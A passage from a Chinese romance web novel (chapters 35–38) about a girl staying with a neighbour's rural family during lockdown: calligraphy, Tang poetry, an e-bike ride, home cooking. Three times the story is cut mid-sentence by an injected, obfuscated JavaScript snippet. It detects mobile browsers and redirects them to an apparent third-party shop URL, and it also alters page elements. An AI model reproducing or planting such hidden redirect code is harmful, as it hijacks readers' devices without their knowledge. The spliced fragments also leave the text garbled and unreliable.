闻漫说着,从书桌下拎出一整捆的纸,熟练地解开系紧的绳扣:“我给你看样东西。” 田知意走进才看清是一张张写大字的宣纸,上面的字迹并不规整,还有随处滴落的墨点。 她隐约猜到了这是什么,却不敢明说:“这是……谁写的?” “是爷爷初学毛笔字时攒下的纸。”闻漫解释,“当时他年纪已经很大了,凭着一腔热情扎了进去,每天干完农活后就在这边写字。” “那你们是什么看法呢?”田知意问。 “没什么看法,老爷子喜欢,又没耽误事,但也没对他抱什么期待。” “然后……” “然后你也看到了,挂在堂屋呢。” 田知意看着手里的宣纸,又想到堂屋的对子:“他练了多久呢?” “三年多吧。”闻漫简单算了算,“村里也有一些人家过年会买了红纸请他写。” 田知意低头想了一阵,又帮闻漫一起将宣纸拾掇整齐,用绳系好重新放回书桌下。 “你说,我学什么东西是不是终究要落到有没有用上?” 田知意知道她这个问题很扫兴,但她的心头又闷了起来,像是垒了堵砖墙,不说出来就不会舒坦。 有用无用之问大到不好回答,闻漫不得不弄清楚她的意图:“为什么这么想?” 所幸田知意缩小了问题的范围:“比如你爷爷练字,如果他不能写出对联,或者没有人写对联,你们是不是会觉得爷爷只是兴趣爱好,不会把他的认真当回事呢?” 闻漫没有立即回答,看得出他确实在认真考虑这个问题。过了片刻,他回答:“也许吧,不过爷爷并不在意我们是怎么看他的,只是让我们把他的作品挂在墙上。” “然后你们照做了?”田知意问。 “在我们眼里确实够上了可以挂在堂屋的水平。” “如果没有呢?”田知意继续追问。 “那可能当个春联贴在门上,明年还能换新的。” “也就是说……”田知意将双手合拢贴着下颚,微微歪头,“是先想做什么就去做,达到一定程度,自然会有人来欣赏,对吗?” 闻漫想了想:“对。” ……而不是万事畏首畏尾去看别人的眼色。 田知意抬起头露出笑容:“我想我找到答案了。” 全然不似往日怯懦纤弱的模样,此刻她的笑靥仿佛春风拂过的桃枝,花苞悉数绽开,灼灼欲燃,明丽得教人别不开眼。 闻漫看着她的神情,微微有些愣怔。 这是卸下了负担的她。 这才是她本该有的模样。 如果她生在灌木,就是荆棘丛中脱颖而出的玫瑰。如果她生在隆冬,就是迎雪枝头最饱满的红梅。 她可以在广袤的土地里延伸出连绵的根,汇成望不到头的花海;也可以像蒲公英一样一把吹散,在无垠的天际自由自在地飞翔。 唯独不可以被折断根须,剪短茎叶,与其他娇花一同插在玻璃瓶中,供人取乐观赏。 35. 梦成 田知意在书房里又呆了一会儿,她的目光落到那巨大的书架上:“这里好多书……” 听说过的、没听说过的、崭新的、泛黄的书,从上到下排得满满当当,仰着头微微有些眩晕,像是知识的瀑布从头顶浇灌下来。 “这里的书比较杂,每个人喜欢的书都会放在这里。” 听着闻漫的介绍,田知意的目光从她能触及的高度往下找,最终落在一本线装书上:“这是什么?可以拿下来吗?” “好像是本旧书……一时想不起来了。”闻漫挠挠头,“拿下来看看吧。” “自己家的书都不记得。”田知意笑着打趣他。 她小心地踮起脚,指尖刚好能触上深蓝的书封。这本书似乎真的很有年代,封面摸起来有些绵软,只有部分部位还残存在最初硬挺的触感。 闻漫伸手想扶她一把,但她幸运地平稳着陆了。 田知意翻到正面去看封面上的字,却在看清书名时结结实实吃了一惊:“……全唐诗?你家还有这书。” “这怎么可能……”闻漫也愣了愣,“爷爷以前确实收集了些旧书,但要是《全唐诗》怎么会不跟我们说?” 他又将书架从头到脚重新打量了番,确信就这一本:“也真是奇了……翻开看看吧。” 田知意随手翻了几页:“武三思、张易之、张昌宗……这都什么跟什么,怪不得没给你看。” “都写了什么?”闻漫问。 “应制诗,皇帝下诏命之后写的诗,比如宫廷游宴的时候会写的那种。”田知意随手又翻了翻,“最后这个于季子写的倒是有点意思。” 闻漫搬来张小板凳坐在她跟前:“具体说说。” “你看这首。”田知意翻过书给他看,“《咏汉高祖》:百战方夷项,三章且代秦。功归萧相国,气尽戚夫人。” 闻漫仔细读了读:“说的是刘邦的一生,有什么问题吗?” “我觉得他可能在借古讽今,比如写作戚夫人读作武则天。” 闻漫顺着她的思路想了想:“那这岂不是反诗?” “是啊。”田知意笑盈盈地答,“所以才说他有意思。应制诗堆里混了首反诗……” 她将书收了回来,心里像是搅进了一勺蜂蜜,没来由的欣喜。她松松垮垮地靠着立柱,一脚落在地上,一脚踩着书架的底部,整个人被实木稳稳地承托住,一派闲适的站姿。 “于季子的资料不多。”闻漫在百度上查了查,“生平也不详。” 只知道是唐高宗时候的进士,武后刚临朝称制时还活着。 “但他的态度、他的想法,以及他是个怎样的人,已经通过这二十个字表达出来了。”田知意想起曾经读过的史料,“历史就是这样,越模糊就越真实,就像一座老房子,如果半点灰尘也无,那必定有人来过。” 诸多朝代,她最喜欢的就是唐朝,也特地读过些书,讲起来自然如数家珍。 闻漫仰着头静静听。 田知意说到口渴,才意识到自己说了太久:“我好像讲了很多没用的话。” “没有。”闻漫摇摇头,“你知道得真多。” “都是些没用的东西。”田知意摆手,“我爸妈总说我就闲书看得多。” “读史明智,我家里也有些史书。”闻漫从柜子里找出茶具,“不如泡点茶,边喝茶边说。” 他将茶具洗净,烧了壶开水烫过壶与杯,再续满,加上茶叶煮了起来。 微卷的黑色茶叶沉在壶底,随着茶香缓缓弥漫,红褐色也染尽了壶里水。 “这是什么茶?”田知意问,“红茶吗?” “熟普洱。”闻漫见时间差不多了,提起壶给田知意先斟一杯,“养胃的,尝尝。” 茶水还未入口,香气就已四溢。 阳光从侧面的窗户照进来,留了一半窗格的影子在地上,映了一半在他脸上。 空气里尽是融融的惬意。 田知意坐在书桌的一头,看着茶水被午后的强光照得剔透,仿佛拥抱了一轮太阳。 闻漫坐她对面,也执一茶杯,笑着问她:“刚刚说到哪里了?我们继续。” “啊……好。”田知意有些恍惚。 午后、讲书、香茶…… 曾经憧憬过的午后时光与眼下的现实重合在一起,梦幻得像是一团温热轻柔的水涡将她卷起再抛上天空,她在轻飘飘里沉醉不知归处。 她没来由地想到句诗: 赌书消得泼茶香,当时只道是寻常。 田知意下楼时,章成绢还坐在门口钩鞋子,见她过来,连忙出声招呼:“你来得正好,我正想找你画个鞋底样子。” 章成绢说着,搬来一张矮木凳,铺了张白纸,示意田知意踩在上面。 田知意不明所以,但还是照做了。 章成绢拿笔绕着她的脚画了一圈。 “这是……在帮我做鞋吗?” 田知意有些不可置信,说话也没什么底气。 “我看你没带棉鞋来,老是穿靴子不透气容易潮。我就想着给你钩双棉鞋,好让你在家穿得舒服些。反正做起来也快,两三天就能做好一双。”章成绢边说边笑了起来,“你可别嫌我们乡下土。” “哪里会。”田知意看着章成绢脚上那双钩针棉鞋,“品质那么好的手工鞋,要买也不便宜呢。” 章成绢只是笑:“你说话可真讨人喜欢。” 田知意一点不觉得她会讨人喜欢,她只是把心里话如实说了出来。 住在这里太过轻松惬意,她心里有些隐隐的不安,觉得这都是出于他人的忍耐与宽容,她是配不上这份舒适的。 想到这里,田知意在矮木凳上坐了下来:“阿姨,我刚刚给您发微信了,您空了看下。” 章成绢停下手里的动作,坐直身体。她脸上流露出些许困惑,似乎在想她俩既然面对面,还有什么可以发微信的。 但她很快像是意识到什么似的,拿出手机来看了看,这才露出“果不其然”的表情。 田知意转了一笔钱,注明是她的食宿费。 章成绢一看金额就意识到田知意是按照公寓一个月的标准给的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099808|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她没有点开,放下手机回答田知意:“这我不能收。” 田知意似乎并不意外:“但我必须付。学校里已经通知要上网课,我一时半会儿也走不了,接下来打印讲义之类细碎的活,有得是要麻烦您家的时候,就这样白吃白喝我心里不安。” “钱的事应该大人之间算,你安心住下就好了。” 田知意静静地看着章成绢:“阿姨,我爸没有提给您钱的事,对不对?” 章成绢怔住了。 她可以欺骗田知意,但田知意既然那么笃定地问出口了,就意味着这是个立即会被戳破的谎言,根本起不到安抚人心的作用。 “我父亲是个商人,实事求是地说。”田知意平静地跟章成绢解释,“他做事必要算好每一分每一厘,即便他有要给您支付费用的心思,也要等确定了我住的天数再跟您结算……但我做不到就这样一直呆到开学。” 章成绢没有说话。 她知道田知意是个心思细的孩子,再多说下去只会起反作用。她从椅子上站起来,很快蹲下身,轻轻环抱住田知意:“孩子,你可以不考虑那么多的。” “阿姨。”田知意迟疑片刻才伸出手去抱住她,“做邻居的时候闻漫就对我很照顾,我知道他和您都是很好很好的人,给了我很多照顾和温暖。麻烦您收下钱,当是成全我的心意。” 章成绢没再推拒。 她只抱着田知意,轻声呢喃着:“孩子,一切都会好起来的。” 没过几天,田知意和闻漫的快递一起到了。 像闻漫说的那样,即便是顺丰,也因为非接触配送的要求而将快递放在了镇上的驿站里。 闻漫吃过午饭打算去取快递。他将电动车推了出来,对着屋里的章成绢喊了声:“妈,我去趟镇上。” 章成绢没出来看他,倒是田知意闻声从屋里走了出来:“你去拿快递吗?” “你的也到了吗?把取件码发我,我一起取了。” 田知意看着他,只是问:“你要去很久吗?” “不会太久,最多半小时吧。”闻漫像是想到什么似的,笑着问田知意,“要一起去吗?” 直觉告诉他田知意也想去镇上看了看。 田知意被他猜中了心思,有几分羞赧,但总归是高兴的:“我坐你后面吗?” “对呢,这里很宽敞的,可以坐人。”闻漫把车停稳,“你要去的话我还得再拿一个头盔,你等下,我把我妈的那个拿出来。” “还有口罩。”田知意大声地提醒他。 在这里呆得久了,她的嗓门也跟着大了起来,像个爽朗的农村的姑娘。 田知意一点不讨厌自己的变化,相反,她早就厌倦了那些个假声假气的伪精致把式。 “来了。”闻漫将一只有包装的KN95口罩放在头盔里,倒拿着扔给她。 田知意伸手接住,装扮完毕后扶着车后备箱跨坐了上去。 “出发!” 她一手搭在闻漫肩头,一手高举着喊。 像个兴奋的孩子。 36. 梦成 风在耳边呼啸,电动车在田间的水泥路上疾驰,无尽的田野如画卷在两边铺展开,田知意坐在后座,双手紧紧抓着闻漫的外套口袋,生怕掉下去。 她听到闻漫在前面问了句什么,但风太大,她半个字也听不清,只能大声回问他:“什么?” 闻漫提高声音重复了遍,依旧被风声吞了个干净。 他听到田知意的声音断断续续地从后面传来:“听……不清……” 闻漫无法,只得降了速度停在路边,回头解释:“我是问你冷不冷。” 田知意愣了愣,像是被风吹迷糊了,好一会儿才慢慢松开拽着口袋的双手。 手背冰凉,关节活动时隐约有刺痛感,似乎是被冻麻木了。 “冷的。”田知意来回搓了搓手,“出来时没想到戴副手套。” “冷的话就把手插在我的口袋里。”闻漫说着,重新调整坐姿。 田知意有那么一瞬间的不知所措。 ……双手插口袋的话,不就是抱住他了吗? 她的脸点着了似的发起烫来。 许是犹豫了太久,她听到闻漫的提醒:“准备好哦,我要开动了。” “哦好、好。”田知意磕磕绊绊地应下,摸索着去找他的口袋。 简直奇了,刚刚还触手可及的口袋,此时像是藏起来似的,怎么也找寻不着。 田知意愈发慌张,双手不知该往哪儿放似的摸索起来。 ……在哪儿?在哪儿?明明刚刚还能找到的。 突然,她的右手感觉一热,随后便不得动弹。田知意一愣,发现是闻漫伸手握住了她的右手。 ……这是要做什么! 她还没来得及发问,只听闻漫哑着嗓子叹息:“你摸得我痒死了。” 田知意的脸更红了,下意识地要抽手回缩。 闻漫却握住不放,帮她把手塞进口袋里:“在这里,找到了吗?” 就在她右手入袋的那刻,左手也奇迹般地找到了位置,温暖的感觉从指尖漫上心头,田知意带着羞怯,将双臂搂紧了几分。 “抱紧咯。”闻漫笑着提醒她,“这次真要加速了。” 乡村的路平顺无人,闻漫越开越快。 田知意抱着他,下意识地头一垂,脸颊便贴到了他的背上。 平日里闻漫看起来瘦,背部却很宽阔。 田知意颤了颤,心里触电般麻麻的。 ……好有安全感。 她将头缩了缩,又怕因为她的动作再被闻漫吐槽痒,最终反倒将脸贴得更紧了些。 镇上的驿站不远,没多久就到了。 闻漫把车挺稳,田知意从车上下来。 他把车停在了驿站不远处的电线杆前,没有锁,田知意就站在原地帮他看着车。 闻漫事先将取件码发给了驿站,在驿站工作的大叔已经把做了消杀的快递放到了外面的桌子上,人坐在驿站里跟闻漫打招呼:“来啦。” 闻漫眉眼弯弯地对他笑笑:“谢谢大叔。这两天快递多吗?” “多哦,都是过年没送的堆到现在一起到了。”大叔看了眼手机,“又有人要来取件了,你们没事就快走吧,现在不让多接触。” 快递有两个盒子,一长一扁。长的快递是打印机,扁的那个应该是田知意的平板。 田知意担心打印机太重,想要去把自己的那个快递拿了,好减轻闻漫的负担。一扭头又觉得人不能离开车,反复踟蹰间只见闻漫捧着两个快递来了。 “重吗?”田知意赶忙问。 “不重。”闻漫晃了晃打印机,“小打印机而已。” 田知意稍稍放下心,见闻漫掏开车后备箱的钥匙,便主动伸过手:“我来拿吧。” 闻漫看了她一眼,托着打印机盒示意她:“你拿你那个快递就好。” “那打印机呢?”田知意取了平板,终究不太放心他,“一起给我吧,反正不重。” “没关系的。”闻漫把快递塞到腋下夹住,用左手托着了点,右手找到钥匙开了后备箱。 他捧着打印机在后备箱前比划了好几次,发现无论哪个角度都放不进去。 田知意看得着急:“要不把我的快递放里面,打印机我坐后面抱着。” “那多难受。”闻漫拒绝了她的提议。 沉思了片刻,闻漫向她伸出手:“先放你的那个。” 田知意不明所以,但还是照做了:“放了我的不是更放不下了吗?” “山人自有妙计。”闻漫把田知意的快递放进后备箱里,关上锁好后,把打印机快递搁在了电动车前梁上。 “不会掉吗?”田知意不放心。 “开得稳点不会有问题,只是这样就不能随便停车了。”闻漫有些可惜,“本来还打算带你在镇上稍微走走的。” 田知意虽然很想在镇上逛逛,但也知道正事重要:“还是赶紧回家吧,明天就要上课了,还有很多东西要准备。” “也对。”闻漫礼貌地请她上车,‘“我们回去吧。” 不知是返回时心境产生了变化,还是午后的阳光照得人微醺,田知意一如来时那样抱着闻漫,却一扫此前的尴尬,只觉心里温和平静。 闻漫似乎也不着急,减了速度晃荡在乡野的路上,有时候还与她聊聊天。 车速慢下来后,他的声音清晰不少,但依旧有些断断续续,田知意要更专心听,反而贴他贴得更紧。 “你知道现在是什么时辰吗?” 田知意听到闻漫这么问。 “时辰?”田知意想了想,“那我首先要知道现在是几点啊。” “两点多吧,但肯定不到三点。” “那是……”田知意在心里排了遍地支,“未时吧。” 她学过《孔雀东南飞》,里面有句“寂寂人定初”,老师借着解释“人定”的机会带他们复习了一遍十二时辰,算作文学常识,因此记得格外清楚。 “Bingo!”闻漫见她答得顺利,又继续问她,“你知道‘未’是什么意思吗?” “未……没有的意思吧。” 她知道未还有一些别的意思,甚至还有通假的用法,不过现在不太方便展开,不然她定要让闻漫好好见识文科生的实力。 “我是说你觉得‘未’像什么?” “啊?” “你看像不像那棵树。”闻漫慢慢挺稳车,指着远方。 田知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114834|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意趴在他肩头,顺着他手指的方向看去,只见一棵光秃秃的树,枝条都垂了下来,看起来怪没生机的样子。 “有点……”她细细地琢磨了一阵,又在掌心写了写“未”字,越看越觉得有道理,“像的,越看越像。” 她的胳膊压在闻漫的肩头,差点就要环抱上,但她的注意力全在对话上,浑然未觉。 闻漫顺势将她的手拉下来,在她的掌心慢慢地画上“未”字的甲骨文的模样:“两横弯着朝上,撇捺是弯着朝下的,像不像棵枝条发达的树?” 田知意看了看掌心,又望了望树:“那这么说未的意思还挺好的?树的枝条那么多,那为什么会变成没有的意思?” “不是哦,未是树老掉的样子。”闻漫解释,“古人认为一棵树一旦枝叶繁盛就老了,也有说法:‘木生於亥。壯於卯。死於未。’” “竟然是这样。”田知意突然觉得有些悲凉。 没想到一棵树繁盛的时候竟然是老得快要死了,越想越觉得悲伤。 “盛极而衰,否极泰来都是自然现象。”闻漫重新握上车把手,“看到那棵树有感而发的罢了。” “原来如此。” 田知意抬起胳膊这才惊觉她已然挂在他身上。她像是触了电般重重地落回到座椅上,反倒把闻漫吓一跳:“怎么了?” “没什么。”田知意不知如何作答,值得含糊其辞,满心里都是她刚才的姿态。 未免……也太大胆了。 要是被别人看到了会怎么想?就算没人看到,闻漫注意到了又会怎么想呢? 田知意一时间又害怕又期待,像个偷用了大人化妆品的孩子,害怕家长看到了责怪,又暗自希冀家长看到了能赞她一句好看。 她不想闻漫觉得她轻浮,但又希望闻漫能回应她的期待。 ……或许他早就发现了她的心思。 毕竟她的心思是那样做作的隐秘,在环抱住他的时候,在看车和取快递的犹豫间,紧张和别扭像是雪地里的马脚一样,轻易就能教人看出一样。 他是那样敏锐的人,又是不会教人尴尬的性子,自然要用难以点破的方式来保全她的面子。 比如,借一棵树告诉她,她的感情藏在暗处是最好的,一旦大白于天下,离死期也就不远了。 这个念头一旦起了,就像是生了根的野草,再也停不下了。 田知意低下头,越想越觉得合理,连血色都从脸上褪去了,显出了不合时宜的冰冷与苍白。 我该……怎么办? 要把抱着他的手收回来吗,还是就保持现状硬着头皮装下去? 这两个问题她反反复复地想,却想不出半点结果。 苦恼像是墙角的藤蔓,在她阴郁的心绪上乱爬。 “知意,你想不想到别处看看?” 闻漫突然的出声,让田知意被打断施法似的一顿:“什么?” “等下放了东西带你去村西头逛逛。” 他转头看着她笑。 像是黑夜里燃起的火焰,熊熊的烈焰将繁杂的思绪一把焚尽。 田知意突然觉得此前的纠结都失去了意义。 她现在……只想和他呆在一起。 37. 梦成 到家后,闻漫把车停在围墙外,抱着快递进了门。田知意在外面边看车边等他。 期盼在等待中趋于平静,如影随形的隐忧重新浮上心头。 院子里有些吵闹,是章成绢和闻漫在交流。 田知意听不懂也听不清,疑心他们发生了争执。 她往门口望去,大门只开了一半,关着的半边阻挡了她的视线。 有个风吹草动都能让她心中忧虑更甚。 明天就要开始上网课了,今天该做的是收心。 就算章成绢不同意他们出去玩也是正常的,只希望章成绢不要觉得是她带坏了闻漫。 田知意垂下头,有些灰心地想。 没过多久,闻漫出来了。他神色如常,看不出刚发生了什么。 田知意忍不住问:“阿姨怎么说?” “我妈说晚饭还有一会儿,让我们注意安全。” 田知意疑心他报喜不报忧,只盯着他看。 “怎么了?”闻漫觉得她眼神奇怪,笑着问,“有什么事吗?” 田知意心口有些堵。 她说不清内心憋闷的思绪,沉默片刻后,闷闷地说:“走吧。” 太阳在西偏,他们也在往西走。 夕阳橘色拖尾的余晖洒落在田知意发梢,她看着闻漫的背影,感觉他们像是在追赶落日。 闻漫开了很久,最后在一条河前停住了:“下来走走吧?” 河岸边有道长长的土坡,像农田一样划出了田垄,种满了田知意叫不出名的菜。 土坡近水处长满了茂密的芦苇,丛丛的像是风中摇曳的凤尾。 田知意看着河水,愣愣的,不走也不说话。 闻漫已经走到土坡的垄上,向她招手:“过来这边。” 田知意看着窄窄的田垄,小心翼翼地伸腿。 晴天的土壤松软得刚刚好,能够温柔地衬托住双脚,又不至于教人深陷进去。 闻漫在前头等她,带着田知意找了块空地坐下。 傍晚的风柔柔地拂过田知意的头发,她听到闻漫在她耳边轻声问:“你有什么心事吗?” 田知意低下头,抿了抿唇,才小声嘀咕了一句:“我们不该出来的。” “这里不好吗?”闻漫问。 “这里很好。”田知意将头埋得更深,“我只是觉得我这样……不好。” 一切都太舒适了,不像是她轻易就能得到的。 “嘘。”闻漫压低声音,“你听——” 田知意不明所以,但还是抬起了头。 很快,她明白了闻漫的用意。 她听到风穿过芦苇发出的沙沙声,听到有一搭没一搭的流水声,听到飞鸟扇动翅膀飞快地掠过,听到他在她耳边低语: “你很好。” 田知意一惊,心底像是被羽毛尖快速地撩过,痒痒的感觉让她反弹似的站了起来。 她忘了自己还在坡上,猛地一站起很快失了重心。 闻漫眼疾手快地拽住她,在她栽下去前堪堪抱住了她。 四目相对,田知意的脑袋“嗡”地一声。 闻漫也愣住了,小心地松手:“我也是一时着急。” “我知道。” 田知意揉揉肩膀。 刚刚闻漫急着拉住她,使了些硬拽的力,现在回过神来,直感到隐隐的疼。 “要紧吗?疼得厉害吗?”闻漫想看看她的伤。 田知意活动了下肩膀:“没事,没事。” 她看向岸上的车:“不早了,走吧。” 似乎考虑到她刚刚受伤,闻漫骑得格外得稳。 田知意轻轻贴靠着他的背,侧脸看着路边的田野。 这几日陆陆续续已经有人家开始了春耕,地里大棚的塑料布在风中发出“哗啦哗啦”地响,要不是用框架固定住了,只怕是要被吹翻。 她的心绪也如这塑料布般,堪堪被理智撑住,在情感的风波里飘摇。 今晚注定是个不眠之夜。 到家后,闻漫把快递搬上楼,打算把打印机装在二楼的堂屋里。 田知意坐在一楼陪晒太阳的章成绢聊天。 经过几天的加工,章成绢为她钩的鞋已经有模有样了,正对着阳光把鞋底和鞋身缝合上。 她选的毛线颜色是时下流行的莫兰迪色,温暖的大地棕配上流花白纹样,看起来柔和又典雅。 “听说现在小姑娘都喜欢这种低调的。” 章成绢收了线,绕着针头缠了好几圈,抽针时一把扯断线,打了个精巧的结。 她把鞋递给田知意:“试试合脚不?” 虽然是钩针鞋,却意外挺括,不像针织毛衣那样软塌塌的。田知意拿到手上才发现里面缝了层加绒的内里。 整双鞋轻便又暖和,穿在脚上连路都愿意多走两步。 田知意沿着屋檐来回走了几圈,愈穿愈喜欢。 章成绢坐在椅子上,微笑着看田知意高兴。 她又坐了一会儿,便起身收拾东西,打算去准备晚餐,这时闻漫从楼上冲了下来:“妈,晚上吃什么?” “喝羊肉汤,你打印机装好了吗?咋咋呼呼的。” “快好了。”闻漫这才意识到自己急躁了,“你开始做了吗?” “没有。现在打算去把羊肉泡起来。”章成绢盯着闻漫,“怎么了?” 闻漫松了口气:“那还来得及,晚上改喝排骨汤好不好?” 章成绢隐约感觉不对:“怎么那么突然?发生什么事了?” “没事没事。”闻漫连连摇头,“就是突然想喝。” 章成绢见他不老实,也不打算和他多纠缠:“卖肉的摊上午就收了,你让我到哪里给你变出来排骨去?” “家里没有吗?”闻漫问。 “有啊,从你背上敲。”章成绢被他气笑了,“老实说,究竟闯什么祸了?” “难能呢,就是一时兴起。我去看看驱动装好没。” 闻漫怕章成绢多问,丢下句话跑上楼了。 章成绢看了看他的背影,又回头看了看田知意:“你说他是不是个傻小子。” 田知意配合地笑笑。 章成绢仍觉得不安:“不过真没事吗?不应该啊……” 田知意见她困惑,又觉得不是大事,便干脆说了:“我在走路的时候差点摔倒,他拉了我一把。可能是他看我后来揉肩膀,觉得把我弄伤了吧。” “原来是这样。”章成绢了然,“今晚的羊小排有脆骨,多吃点也是一样的。” “羊肉的脆骨?” 田知意的母亲爱吃羊肉,父亲却受不了羊肉的膻味。田知意取了他们的中间值,不喜欢也不讨厌,但会出现在家里餐桌的上羊肉菜便只局限于气味比较轻的羊羔,或是烫火锅时的羔羊卷。 喝羊汤的时候少之又少,更别提羊小排、羊脆骨之类的了,压根没有见过。 章成绢见她好奇,于是提议:“要不要来厨房看看?” 田知意点头应下。 厨房的银杏木砧板上躺着一大块羊羔肉排,肉质细腻纹路均匀,脆骨像一根根白色的小棍整齐地排列在其间,比猪脆骨柔软纤细许多,仿佛随手一折即断。 ……原来这就是生的羊肉。 田知意突然明白了什么叫“羊大为美”,肥嫩的羊肉看起来都格外赏心悦目。 章成绢把羊肉放到水池里:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125878|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸泡两个小时,中间换一次水,能去除些膻味。” “居然要这么久。” “不过我们不用候在这里。”章成绢带她走出厨房,“现在太阳挺好,晒晒太阳聊聊天也很好,或者你上去看看闻漫也可以。” 说到看闻漫,田知意陷入了沉默。 好一会儿,她才笑着抬头:“不了,不去打扰他了。我在这里陪阿姨。” 章成绢从田知意的眼中读出些许欲言又止,但没有点破:“也好,反正闲着也是闲着。” 她说了些过去的事,好在田知意还挺感兴趣,一路追问下去,就问到了她和闻叔的旧事。 “阿姨和闻叔是怎么认识的呢?”田知意问,“我爸妈说他们那会儿都是熟人介绍的。” “我们也差不多。都是亲戚之间给说的人家,处着合适就定亲。” “那会不会没什么选择?”田知意捂脸。 “也还好吧。”章成绢望着天想了想,“我记得当时也是给我说了好几个的,只是我选了闻叔。” 田知意点点头:“闻叔看着就像个好男人。” “当时不懂这些。”章成绢摆手,“就看他模样还算周正,家里有房有地,手也算巧,能干活,就嫁了。” “然后就过上温馨和睦的日子了。”田知意想了想,有些憧憬,“感觉这样也挺好的。我妈说她看上我爸聪明。她觉得自己不聪明,就喜欢聪明人。可惜我不随我爸。” “我觉得你很聪明。” “啊?”田知意想要直接否认,却见章成绢正看着她,眼里没有半点戏谑。 田知意意识到章成绢是认真的,只好也认真起来解释:“我觉得闻漫那种才算聪明,数学好的。我妈也是这么想我爸的。” “我看他傻小子一个,什么都写在脸上。”章成绢依旧看着田知意,“你不一样,虽然你不说话,但很多隐藏在下面的事,你都很通透。” 田知意知道章成绢指的是给食宿费的事。 但那是她良心不安,并不是她通透。 她的迟疑与犹豫写在了脸上,被章成绢看在了眼里:“还是和你说话省力,要是闻漫肯定想不到我刚刚那句话指的是什么。” 田知意低下头,过了好久才出声:“但我觉得他那样很好。” “嗯?” “不知道就不会去想,也不会猜别人的心思,更不会因为猜不到或者猜错了而难过。” 自从她被起名叫“知意”起,她就一直在与别人的心意纠缠,所有的痛苦也都源于要知人心意。 ……无论是被迫去识人心思,还是主动想要知道喜欢的人的心意。 想到这里,她的目光更是黯淡,心情愈发低落。 “不猜会怎么样呢?”章成绢问,“猜了又能如何?” “知道越多,决策越早,我爸一直这么说。” 决策早了自然也就掌握了先机。 “我听说他是个很成功的商人。”章成绢说。 田知意不懂,只是下意识谦虚:“做些小生意而已……” “生意上的事我不懂,我会的是种田。”章成绢放慢语速,“水田里有一种叫蚂蝗的生物,一旦被缠上,就会死死咬住皮肤,钻进去吸血……种田的人几乎很难幸免。” “那该怎么办呢?”田知意想了想问,“会有那种蚂蝗少一点的田吗?” “也许吧。但总归不可能一一数清的对吧?所以下田前我们一般会穿上胶鞋,扎紧长裤,减少皮肤直接接触水的几率。” “这样就不会被咬了吗?” “总会有漏网的。不过一旦被叮上,千万不能去扯,狠狠一拍就滚下来了。因为知道了方法所以也不会太慌。” 38. 梦成 田知意明白了些许:“也就是说不管环境如何,只要自己足够强大,就可以了对吗?毕竟环境是我们改变不了的。” 章成绢不置可否:“种田无非靠天吃饭,这只是我们庄稼人的一点浅薄见识。” 田知意叹了口气:“我和靠天吃饭又有什么分别呢?” 她能做的无非是埋头读书,至于试卷难易、竞争对手强弱,目标院校招多少人,都不是她能掌握的。 “如果这样想能帮到你的话,也未尝不可。”章成绢起身去做饭,“说回猜人心意上,这又何尝不是一种靠天吃饭呢?只不过是把他人当天而已。” 田知意陷入了沉默。 她感觉到长期压在她心头的一块负重有点松动。 像是山顶的一块巨石被从立足的土地上顶开,隐隐有滚落的趋势。 顶开它的是,一株新生的嫩芽。 羊汤到天黑透了才出锅。 章成绢怕烫着他们,没喊任何人帮忙,自己盛了一大碗端上了桌。 闻漫先从楼上下来:“噢,好香。” 章成绢赶他去洗手:“田知意呢?” “她刚给平板充好电,正在装听网课的APP。” “装APP等它慢慢装好了,先喊她下来吃饭吧。” “知道了——”闻漫故意拖长声音,“我再给她盛碗汤,等她下来不烫嘴了正好能喝。” 章成绢正好把汤勺递给他:“别光说不做。” “你是真把她当女儿了吧。”闻漫说道。 但他说完很快就后悔了。 简直司马昭之心昭然若揭。 还没等他想到找补的话,章成绢便接了茬:“我倒是想找她家认个干亲,只怕人家不愿意。” “那她不是成我妹妹了吗?”闻漫连忙反对,“这不好。” “有没有种可能,人家比你大,应该是姐姐。” 闻漫不说话了,闷着头盛汤。 田知意到楼下时,只看到他伏在桌上对着汤发呆,气氛很是古怪。 “这是怎么了?”她问。 “我让他管你叫姐,他不肯,憋闷呢。”章成绢笑着打趣。 田知意不明前因后果,只觉有意思。 她走到闻漫边上,摸小孩似的摸了摸他的头:“我是比你大呀,管我叫姐怎么了?” 闻漫头都不抬:“你不懂。” 他向来随和,少有这般闹别扭。 田知意见章成绢没有劝他的意思,便主动劝和:“好好好,不叫就不叫。” 她边说边坐下吃饭。 闻漫看了她一眼,依旧有些闷闷的。 田知意回看过来,笑着问他:“怎么了?” 闻漫别开眼,好半天才出声:“你不懂。” ……不懂什么? 他接连两句的“你不懂”让田知意跟着困惑起来。 她想了想,能想到的只有上次她让闻漫喊她姐被一口回绝的场景。 